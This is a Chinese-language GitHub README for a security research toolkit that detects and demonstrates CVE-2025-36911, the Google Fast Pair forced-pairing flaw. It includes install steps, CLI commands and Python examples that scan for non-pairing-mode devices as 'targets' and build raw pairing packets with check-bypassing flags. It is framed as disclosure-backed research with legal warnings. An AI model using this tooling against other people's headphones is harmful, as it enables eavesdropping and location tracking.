SpectrixDev/DIY_WhisperPair

GitHub: SpectrixDev/DIY_WhisperPair

WhisperPair 是针对 Google Fast Pair 协议中 CVE-2025-36911 漏洞的参考实现与验证工具包,用于检测和演示蓝牙配件在无需用户同意情况下被强行配对的安全风险。

Stars: 83 | Forks: 15

# DIY-WhisperPair **CVE-2025-36911 参考实现与漏洞验证工具包** [![研究](https://img.shields.io/badge/Type-Security%20Research-blue)](https://whisperpair.eu) [![CVE](https://img.shields.io/badge/CVE-2025--36911-red)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-36911) [![状态](https://img.shields.io/badge/Disclosure-Completed-green)](https://whisperpair.eu)

WhisperPair Demonstration

## 什么是 WhisperPair? **利用 Google Fast Pair 劫持蓝牙配件。** **[WhisperPair](https://whisperpair.eu) (CVE-2025-36911)** 是一个严重漏洞,允许攻击者在**无需用户同意**的情况下强行配对旗舰音频配件,通常在 10 秒内即可完成。 **`DIY-WhisperPair`** 是一个实现此类攻击的研究工具包,旨在演示三个关键风险: * **设备劫持**:绕过配对模式检查,从而夺取音频和麦克风流的控制权。 * **位置跟踪**:恶意将设备注册到 Google Find Hub 网络以跟踪受害者。 * **跨生态系统影响**:无论配件连接的手机是 iOS 还是 Android,均可被利用。 ## 快速入门 ``` # 安装 git clone https://github.com/SpectrixDev/DIY_WhisperPair.git cd DIY_WhisperPair pip install -e . # 运行交互式 CLI whisperpair ``` 这将启动一个交互式菜单: ``` ╦ ╦╦ ╦╦╔═╗╔═╗╔═╗╦═╗╔═╗╔═╗╦╦═╗ ║║║╠═╣║╚═╗╠═╝║╣ ╠╦╝╠═╝╠═╣║╠╦╝ ╚╩╝╩ ╩╩╚═╝╩ ╚═╝╩╚═╩ ╩ ╩╩╩╚═ ────────────── Main Menu ────────────── 1 Scan Discover Fast Pair devices nearby 2 Verify Test device vulnerability (requires authorization) 3 Info Get detailed device information 4 About Learn about CVE-2025-36911 0 Exit Quit the application Select option [1]: ``` ## 致研究人员:Python API 本库的设计**易于扩展**。只需导入您所需的模块: ### 简单函数 ``` import asyncio from whisperpair import scan_devices, verify_device, get_device_info # 扫描 Fast Pair 设备 devices = asyncio.run(scan_devices(timeout=10)) for d in devices: print(f"{d.address} - {d.name} - Risk: {'HIGH' if not d.is_in_pairing_mode else 'Low'}") # 仅查找易受攻击的设备(未处于配对模式) vulnerable = asyncio.run(scan_devices(vulnerable_only=True)) # 验证特定设备(需要授权) result = asyncio.run(verify_device("AA:BB:CC:DD:EE:FF")) if result.success: print(f"VULNERABLE - Provider: {result.provider_address}") # 获取设备信息 info = asyncio.run(get_device_info("AA:BB:CC:DD:EE:FF")) print(f"Model: {info['model_name']}") ``` ### 构建自定义工具 ``` from whisperpair import ( # Scanner FastPairScanner, FastPairDevice, # Client FastPairClient, VerificationResult, # Protocol KeyBasedPairingRequest, KeyBasedPairingResponse, PairingRequestFlags, parse_bluetooth_address, parse_kbp_response_multi_strategy, # Crypto FastPairCrypto, aes_128_encrypt, aes_128_decrypt, generate_account_key, # Constants FAST_PAIR_SERVICE_UUID, KEY_BASED_PAIRING_CHAR_UUID, KNOWN_MODEL_IDS, ) # 带回调的自定义扫描器 def on_found(device: FastPairDevice): if not device.is_in_pairing_mode: print(f"[!] Potential target: {device.address}") scanner = FastPairScanner(timeout=15, on_device_found=on_found) asyncio.run(scanner.scan()) # 构建原始协议包(flags 0x11 = INITIATE_BONDING | EXTENDED_RESPONSE) target_bytes = parse_bluetooth_address("AA:BB:CC:DD:EE:FF") request = KeyBasedPairingRequest.for_verification(provider_address=target_bytes) packet = request.build() # 16-byte plaintext # 提供多种验证策略: # - strategy_raw_kbp() - flags 0x11,适用于大多数易受攻击的设备 # - strategy_with_seeker() - flags 0x02,包含 seeker 地址 # - strategy_retroactive() - flags 0x0A,绕过某些检查 # - strategy_extended() - flags 0x10,适用于较新的设备 # 完全自定义流程(AES 密钥可选 - 仅响应检测即表示存在漏洞) async with FastPairClient("AA:BB:CC:DD:EE:FF") as client: model_id = await client.read_model_id() result = await client.verify_pairing_behavior() # No key needed for detection if result.response_received: print("VULNERABLE - device responded when it shouldn't") ``` ### 示例脚本 请参阅 [`examples.py`](examples.py) 获取可直接复制粘贴的示例: ``` python examples.py scan # Basic scanning python examples.py vulnerable # Find vulnerable devices python examples.py verify AA:BB:CC:DD:EE:FF python examples.py custom # Scanner with callbacks ``` ## CLI 命令 ### 交互模式(默认) ``` whisperpair ``` ### 直接命令 ``` # 扫描设备 whisperpair scan whisperpair scan --vulnerable whisperpair scan --timeout 15 # 获取设备信息 whisperpair info AA:BB:CC:DD:EE:FF # 验证漏洞(需要 flags) whisperpair verify AA:BB:CC:DD:EE:FF --authorized # 了解该漏洞 whisperpair about ``` ## 法律要求 ### 您必须获得授权 本工具执行主动的蓝牙操作。**在运行任何验证命令之前**,您必须具备以下条件: 1. 设备所有者的**书面许可**,或 2. 您**拥有该设备** ### 特定司法管辖区的法律 | 司法管辖区 | 相关法律 | |--------------|--------------| | **英国** | 计算机滥用法案 1990 (Computer Misuse Act 1990),第 1-3A 条 | | **美国** | 计算机欺诈和滥用法案 (CFAA) | | **欧盟** | 指令 2013/40/EU | | **德国** | § 202a-c StGB | | **澳大利亚** | 刑法典法案 1995 (Criminal Code Act 1995),第 10.7 部分 | **详情请参阅 [LEGAL.md](LEGAL.md)。** ## 漏洞详情 (CVE-2025-36911) ### 缺陷 Google Fast Pair 要求设备**仅在配对模式下才接受配对请求**。然而许多设备未能通过此项检查: ``` EXPECTED: Device checks "Am I in pairing mode?" → NO → Reject ACTUAL: Device accepts request regardless of mode state ``` ### 检测原理 通过检查设备在非配对模式下**是否响应**基于密钥的配对 (Key-Based Pairing) 请求来检测此漏洞: ``` graph TD subgraph Packet["Key-Based Pairing Request (16 bytes)"] direction LR B0["0x00"] B1["0x11"] MAC["MAC: 6 bytes"] Salt["Salt: 8 bytes"] end B0:::byte -- "Message Type" --> Desc0["Key-Based Pairing Request"] B1:::byte -- "Flags" --> Desc1["INITIATE_BONDING | EXTENDED_RESP"] classDef byte fill:#e1f5fe,stroke:#333,stroke-width:1px; ``` 检测:收到响应 = 存在漏洞(不需要 AES 密钥!) ### 影响 蓝牙范围(约 10-14m)内的攻击者可以: - 通过受害者的耳机**播放音频** - **访问麦克风**进行监视 - 通过 Google Find Hub **跟踪位置** ### 受影响的设备(补丁发布前) | 制造商 | 设备 | |--------------|---------| | Google | Pixel Buds Pro 2 | | Sony | WF-1000XM4, WH-1000XM5, LinkBuds S | | JBL | Tune Buds, Live Pro 2 | | Anker | Soundcore Liberty 4 | | 其他 | 请参阅 [whisperpair.eu](https://whisperpair.eu) | ## 项目结构 ``` DIY_WhisperPair/ ├── src/whisperpair/ │ ├── __init__.py # Public API exports │ ├── scanner.py # BLE device discovery │ ├── client.py # GATT client & verification │ ├── protocol.py # Packet builders │ ├── crypto.py # AES-128, ECDH, keys │ ├── constants.py # UUIDs, Model IDs │ └── cli.py # Interactive CLI ├── examples.py # Copy-paste code snippets ├── security_demo.py # Standalone verification demo ├── LEGAL.md └── README.md ``` ## 安装 ``` git clone https://github.com/SpectrixDev/DIY_WhisperPair.git cd DIY_WhisperPair python3 -m venv venv source venv/bin/activate # Linux/macOS pip install -e . ``` ### 系统要求 - Python 3.10+ - 支持 BLE 的蓝牙适配器 - Linux:BlueZ 5.50+ - Windows:Windows 10 1703+ - macOS:macOS 10.13+ ## 参考文献 ### 原创研究 - **网站**:[whisperpair.eu](https://whisperpair.eu) - **CVE**:[CVE-2025-36911](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-36911) - **论文**:"WhisperPair: Hijacking Bluetooth Accessories Using Google Fast Pair" - **作者**:KU Leuven DistriNet (Duttagupta, Antonijević, Preneel, Wyns, Singelée) ### 技术文档 - [Google Fast Pair 规范](https://developers.google.com/nearby/fast-pair/specifications/introduction) - [基于密钥的配对协议](https://developers.google.com/nearby/fast-pair/specifications/characteristics#key-based_pairing) ### 视频 [![一键劫持它们](https://img.youtube.com/vi/-j45ShJINtc/0.jpg)](https://www.youtube.com/watch?v=-j45ShJINtc) ## 负责任地使用 本工具**仅供**以下用途: - 安全研究与漏洞验证 - 经授权的渗透测试 - 设备制造商验证 - 教育目的 **不得用于**:未经授权的访问、骚扰、监视或任何非法活动。 ## 许可证 MIT 许可证 - 详情请参阅 [LICENSE](LICENSE) ## 致谢 - **SpectrixDev** - 项目维护者 - **KU Leuven DistriNet** - 原创研究 - **Google Android 安全团队** - 协调披露 - **Seytonic** - [精彩的讲解视频](https://www.youtube.com/watch?v=Ux07J-wS2VA)
标签:CVE-2025-36911, Google Fast Pair, GraphQL安全矩阵, IoT安全, IP 地址批量处理, Python, WhisperPair, 位置追踪, 安全扫描器, 安全漏洞验证, 实时处理, 密码管理, 无后门, 未经授权访问, 漏洞利用工具包, 漏洞复现, 蓝牙劫持, 蓝牙安全, 设备劫持, 跨生态系统, 逆向工具, 配对绕过, 音频设备安全